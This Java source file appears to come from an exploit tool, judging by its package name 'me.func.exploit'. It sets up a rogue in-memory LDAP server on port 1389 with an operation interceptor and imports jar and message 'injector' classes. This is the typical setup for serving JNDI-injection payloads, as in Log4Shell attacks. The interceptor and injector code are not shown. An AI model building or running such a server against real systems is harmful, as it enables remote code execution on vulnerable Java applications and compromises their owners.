package me.func.exploit;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.*;
import me.func.exploit.behavior.Injector;
import me.func.exploit.behavior.JarInjector;
import me.func.exploit.behavior.MessageInjector;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.Locale;
import java.util.concurrent.locks.LockSupport;
import java.util.logging.ConsoleHandler;

public class LdapServer {

	private static final String BASE_DN = "dc=example,dc=com";
	private static final String LISTENER_NAME = "listener";
	private static final int SERVER_PORT = 1389;

	public void run() {
		try {

			InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(BASE_DN);

			config.setListenerConfigs(new InMemoryListenerConfig(
					LISTENER_NAME,
					InetAddress.getByName("0.0.0.0"),
					SERVER_PORT,
					ServerSocketFactory.getDefault(),
					SocketFactory.getDefault(),
					(SSLSocketFactory) SSLSocketFactory.getDefault()
			));

			config.setAccessLogHandler(new ConsoleHandler());
			config.addInMemoryOperationInterceptor(new Interceptor());

			@SuppressWarnings("resource")
			InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
			server.startListening();

		} catch (LDAPException | UnknownHostException e) {
			throw new RuntimeException(e);
		}
	}
}
